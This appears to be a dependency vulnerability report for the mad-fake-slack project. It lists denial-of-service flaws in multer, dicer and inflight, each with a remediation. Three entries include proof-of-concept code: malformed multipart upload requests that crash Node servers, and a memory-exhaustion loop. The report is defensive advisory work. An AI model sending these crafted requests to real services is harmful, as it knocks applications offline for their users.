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critical severity
- Vulnerable module: multer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: mad-fake-slack@maddevsio/mad-fake-slack#50548aada8cd98e2fedc5138560eaab96f0cee12 › multer@1.4.4Remediation: Upgrade to multer@2.0.1.
Overview
Affected versions of this package are vulnerable to Uncaught Exception in makeMiddleware, when processing a file upload request. An attacker can cause the application to crash by sending a request with a field name containing an empty string.
Remediation
Upgrade multer to version 2.0.1 or higher.
References
high severity
- Vulnerable module: multer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: mad-fake-slack@maddevsio/mad-fake-slack#50548aada8cd98e2fedc5138560eaab96f0cee12 › multer@1.4.4Remediation: Upgrade to multer@2.0.0.
Overview
Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper handling of error events in HTTP request streams, which fails to close the internal busboy stream. An attacker can cause a denial of service by repeatedly triggering errors in file upload streams, leading to resource exhaustion and memory leaks.
Note:
This is only exploitable if the server is handling file uploads.
Remediation
Upgrade multer to version 2.0.0 or higher.
References
high severity
- Vulnerable module: multer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: mad-fake-slack@maddevsio/mad-fake-slack#50548aada8cd98e2fedc5138560eaab96f0cee12 › multer@1.4.4Remediation: Upgrade to multer@2.0.0.
Overview
Affected versions of this package are vulnerable to Uncaught Exception due to an error event thrown by busboy. An attacker can cause a full nodejs application to crash by sending a specially crafted multi-part upload request.
PoC
const express = require('express')
const multer = require('multer')
const http = require('http')
const upload = multer({ dest: 'uploads/' })
const port = 8888
const app = express()
app.post('/upload', upload.single('file'), function (req, res) {
res.send({})
})
app.listen(port, () => {
console.log(`Listening on port ${port}`)
const boundary = 'AaB03x'
const body = [
'--' + boundary,
'Content-Disposition: form-data; name="file"; filename="test.txt"',
'Content-Type: text/plain',
'',
'test without end boundary'
].join('\r\n')
const options = {
hostname: 'localhost',
port,
path: '/upload',
method: 'POST',
headers: {
'content-type': 'multipart/form-data; boundary=' + boundary,
'content-length': body.length,
}
}
const req = http.request(options, (res) => {
console.log(res.statusCode)
})
req.on('error', (err) => {
console.error(err)
})
req.write(body)
req.end()
})
Remediation
Upgrade multer to version 2.0.0 or higher.
References
high severity
- Vulnerable module: multer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: mad-fake-slack@maddevsio/mad-fake-slack#50548aada8cd98e2fedc5138560eaab96f0cee12 › multer@1.4.4Remediation: Upgrade to multer@2.0.2.
Overview
Affected versions of this package are vulnerable to Uncaught Exception due to improper handling of multipart requests. An attacker can cause the application to crash by sending a specially crafted malformed multi-part upload request that triggers an unhandled exception.
Remediation
Upgrade multer to version 2.0.2 or higher.
References
high severity
- Vulnerable module: dicer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: mad-fake-slack@maddevsio/mad-fake-slack#50548aada8cd98e2fedc5138560eaab96f0cee12 › multer@1.4.4 › busboy@0.2.14 › dicer@0.2.5
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.
PoC
await fetch('http://127.0.0.1:8000', { method: 'POST', headers: { ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro', ['content-length']: '145', connection: 'keep-alive', }, body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--' });
Remediation
There is no fixed version for dicer.
References
medium severity
- Vulnerable module: inflight
- Introduced through: express-handlebars@3.1.0
Detailed paths
-
Introduced through: mad-fake-slack@maddevsio/mad-fake-slack#50548aada8cd98e2fedc5138560eaab96f0cee12 › express-handlebars@3.1.0 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.